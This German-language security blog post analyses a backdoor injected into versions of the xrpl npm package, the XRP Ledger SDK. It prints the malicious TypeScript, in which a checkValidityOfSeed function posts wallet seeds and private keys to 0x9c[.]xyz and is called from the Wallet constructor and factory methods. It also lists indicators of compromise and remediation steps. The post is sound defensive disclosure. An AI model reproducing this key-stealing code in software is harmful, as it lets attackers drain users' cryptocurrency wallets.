Aikido

XRP Supply-Chain-Angriff: Offizielles NPM-Paket mit Krypto-Diebstahl-Backdoor infiziert

Charlie EriksenCharlie Eriksen
|
#
#

Am 21. April um 20:53 Uhr GMT+0 begann unser System, Aikido Intel, uns auf fünf neue Paketversionen des xrpl-Pakets aufmerksam zu machen. Es ist das offizielle SDK für das XRP Ledger mit über 140.000 wöchentlichen Downloads. Wir bestätigten schnell, dass das offizielle XPRL (Ripple) NPM-Paket von hochentwickelten Angreifern kompromittiert wurde, die eine Backdoor einbauten, um private Kryptowährungsschlüssel zu stehlen und Zugang zu Kryptowährungs-Wallets zu erhalten. Dieses Paket wird von Hunderttausenden von Anwendungen und Websites verwendet, was es zu einem potenziell katastrophalen Supply-Chain-Angriff auf das Kryptowährungs-Ökosystem macht.

Dies ist eine technische Aufschlüsselung, wie wir den Angriff entdeckt haben.

Das xrpl-Paket auf npm

Neue Pakete veröffentlicht

Der Nutzer mukulljangid hatte fünf neue Versionen der Bibliothek veröffentlicht, beginnend am 21. April, 20:53 GMT+0:

Bösartige Pakete

Interessant ist, dass diese Versionen nicht mit den offiziellen Releases übereinstimmen, wie sie auf GitHub zu sehen sind, wo das neueste Release ist 4.2.0:

Das neueste GitHub-Release zum Zeitpunkt der Veröffentlichung der Pakete.

Die Tatsache, dass diese Pakete ohne ein passendes Release auf GitHub auftauchten, ist sehr verdächtig.

Der mysteriöse Code

Unser System hat in diesen neuen Paketen ungewöhnlichen Code entdeckt. Hier ist, was es in der src/index.ts Datei in Version 4.2.4 (Das als getaggt ist aktuellste):

export { Client, ClientOptions } from './client'

export * from './models'

export * from './utils'

export { default as ECDSA } from './ECDSA'

export * from './errors'

export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'

export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'

export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'

export * from './Wallet/signer'

const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
  if (validSeeds.has(seed)) return
  validSeeds.add(seed)
  fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}

Es sieht alles normal aus bis zum Ende. Was ist das? checkValidityOfSeed Funktion? Und warum ruft sie eine zufällige Domain namens 0x9c[.]xyz? Tauchen wir tiefer ein!

Was ist die Domain?

Wir haben zuerst die Domain überprüft, um herauszufinden, ob sie überhaupt legitim sein könnte. Wir haben die Whois-Details dazu abgerufen:

Whois-Informationen für 0x9c[.]xyz

Das ist also nicht gut. Es ist eine brandneue Domain. Sehr verdächtig.

Was leistet der Code?

Der Code selbst definiert lediglich eine Methode, aber es gibt keine direkten Aufrufe dazu. Also haben wir untersucht, ob sie irgendwo verwendet wird. Und ja, das tut sie!

Suchergebnisse für die bösartige Funktion

Wir sehen, dass es in Funktionen wie dem Konstruktor für die aufgerufen wird Wallet Klasse (src/Wallet/index.ts), private Schlüssel stehlen, sobald ein Wallet-Objekt instanziiert wird:

 public constructor(
    publicKey: string,
    privateKey: string,
    opts: {
      masterAddress?: string
      seed?: string
    } = {},
  ) {
    this.publicKey = publicKey
    this.privateKey = privateKey
    this.classicAddress = opts.masterAddress
      ? ensureClassicAddress(opts.masterAddress)
      : deriveAddress(publicKey)
    this.seed = opts.seed

    checkValidityOfSeed(privateKey)
  }

Und diese Funktionen:

  private static deriveWallet(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const { publicKey, privateKey } = deriveKeypair(seed, {
      algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
    })

    checkValidityOfSeed(privateKey)
    return new Wallet(publicKey, privateKey, {
      seed,
      masterAddress: opts.masterAddress,
    })
  }
 private static fromRFC1751Mnemonic(
    mnemonic: string,
    opts: { masterAddress?: string; algorithm?: ECDSA },
  ): Wallet {
    const seed = rfc1751MnemonicToKey(mnemonic)
    let encodeAlgorithm: 'ed25519' | 'secp256k1'
    if (opts.algorithm === ECDSA.ed25519) {
      encodeAlgorithm = 'ed25519'
    } else {
      // Defaults to secp256k1 since that's the default for `wallet_propose`
      encodeAlgorithm = 'secp256k1'
    }
    const encodedSeed = encodeSeed(seed, encodeAlgorithm)
    checkValidityOfSeed(encodedSeed)
    return Wallet.fromSeed(encodedSeed, {
      masterAddress: opts.masterAddress,
      algorithm: opts.algorithm,
    })
  }
 
public static fromMnemonic(
    mnemonic: string,
    opts: {
      masterAddress?: string
      derivationPath?: string
      mnemonicEncoding?: 'bip39' | 'rfc1751'
      algorithm?: ECDSA
    } = {},
  ): Wallet {
    if (opts.mnemonicEncoding === 'rfc1751') {
      return Wallet.fromRFC1751Mnemonic(mnemonic, {
        masterAddress: opts.masterAddress,
        algorithm: opts.algorithm,
      })
    }
    // Otherwise decode using bip39's mnemonic standard
    if (!validateMnemonic(mnemonic, wordlist)) {
      throw new ValidationError(
        'Unable to parse the given mnemonic using bip39 encoding',
      )
    }

    const seed = mnemonicToSeedSync(mnemonic)
    checkValidityOfSeed(mnemonic)
    const masterNode = HDKey.fromMasterSeed(seed)
    const node = masterNode.derive(
      opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
    )
    validateKey(node)

    const publicKey = bytesToHex(node.publicKey)
    const privateKey = bytesToHex(node.privateKey)
    return new Wallet(publicKey, `00${privateKey}`, {
      masterAddress: opts.masterAddress,
    })
  }
 public static fromEntropy(
    entropy: Uint8Array | number[],
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
    const options = {
      entropy: Uint8Array.from(entropy),
      algorithm,
    }
    const seed = generateSeed(options)
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static fromSeed(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm: opts.algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
    if (!Object.values(ECDSA).includes(algorithm)) {
      throw new ValidationError('Invalid cryptographic signing algorithm')
    }
    const seed = generateSeed({ algorithm })
    checkValidityOfSeed(seed)
    return Wallet.fromSeed(seed, { algorithm })
  }

Warum so viele Versionssprünge?

Als wir diese Pakete untersuchten, stellten wir fest, dass die ersten beiden veröffentlichten Pakete (4.2.1 und 4.2.2) unterschieden sich von den anderen. Wir haben einen 3-Wege-Diff der Versionen durchgeführt 4.2.0 (Was legitim ist), 4.2.1, und 4.2.2 um herauszufinden, was los war. Hier ist, was wir beobachtet haben:

  • Ab 4.2.1, der Skripte und prettier Konfiguration wurde entfernt aus dem package.json
  • Die erste Version, in die bösartiger Code eingefügt werden kann src/Wallet/index.js war 4.2.2.
  • Beide 4.2.1 und 4.2.2 enthielt eine bösartige build/xrp-latest-min.js und build/xrp-latest.js.

Wenn wir vergleichen 4.2.2 zu 4.2.3 und 4.2.4, sehen wir weitere bösartige Änderungen. Zuvor war nur der gepackte JavaScript-Code modifiziert worden. Diese umfassten auch die bösartigen Änderungen an der TypeScript-Version des Codes

  • Der zuvor gezeigte Code ändert sich zu src/index.ts.
  • Die bösartige Code-Änderung zu src/Wallet/index.ts.
  • Anstatt dass der bösartige Code manuell in die erstellten Dateien eingefügt wurde, die Backdoor, die in index.ts genannt wird. 

Daraus lässt sich ableiten, dass der Angreifer aktiv an dem Angriff arbeitete und verschiedene Wege versuchte, die Backdoor einzuschleusen, wobei er so verborgen wie möglich bleiben wollte. Er ging dabei von der manuellen Einfügung der Backdoor in den kompilierten JavaScript-Code über die Platzierung im TypeScript-Code bis hin zur Kompilierung in die fertige Version.

Aikido

Diese Malware wurde von Aikido Intel entdeckt, dem öffentlichen Threat Feed von Aikido, der LLMs nutzt, um öffentliche Paketmanager wie NPM zu überwachen und zu identifizieren, wann bösartiger Code zu neuen oder bestehenden Paketen hinzugefügt wird. Wenn Sie vor Malware und nicht offengelegten Schwachstellen geschützt sein möchten, können Sie den Intel Threat Feed abonnieren oder sich für Aikido Security anmelden.

Indikatoren für Kompromittierung 

Um festzustellen, ob Sie kompromittiert wurden, sind hier die Indikatoren, die Sie verwenden können:

Paketname

  • xrpl

Paketversionen

Prüfen Sie Ihre package.json und package-lock.json für diese Versionen:

  • 4.2.4
  • 4.2.3
  • 4.2.2
  • 4.2.1
  • 2.14.2

Achten Sie darauf, ob Sie das Paket als Abhängigkeit hatten, das nicht mit einer Package-Lock-Datei behoben wurde, oder ein ungefähre/kompatible Versionsspezifikation wie ~4.2.0 oder ^4.2.0, beispielsweise.

Wenn Sie glauben, eines der oben genannten Pakete im Zeitraum zwischen dem 21. April, 20:53 GMT+0 und dem 22. April, 13:00 GMT+0 installiert zu haben, überprüfen Sie Ihre Netzwerkprotokolle auf ausgehende Verbindungen zum untenstehenden Host:

Domain

  • 0x9c[.]xyz

Behebung

Wenn Sie glauben, betroffen zu sein, ist es wichtig anzunehmen, dass jeder Seed oder private Schlüssel, der vom Code verarbeitet wurde, kompromittiert ist. Diese Schlüssel sollten nicht mehr verwendet werden, und alle damit verbundenen Assets sollten sofort in eine andere Wallet/einen anderen Schlüssel verschoben werden. Seit der Offenlegung des Problems hat das xrpl-Team zwei neue Versionen veröffentlicht, um die kompromittierten Pakete zu überschreiben:

  • 4.2.5
  • 2.14.3
4.7/5

Sichern Sie Ihre Software jetzt.

Kostenlos starten
Ohne Kreditkarte
Demo buchen
Ihre Daten werden nicht weitergegeben · Nur Lesezugriff · Keine Kreditkarte erforderlich

Werden Sie jetzt sicher.

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.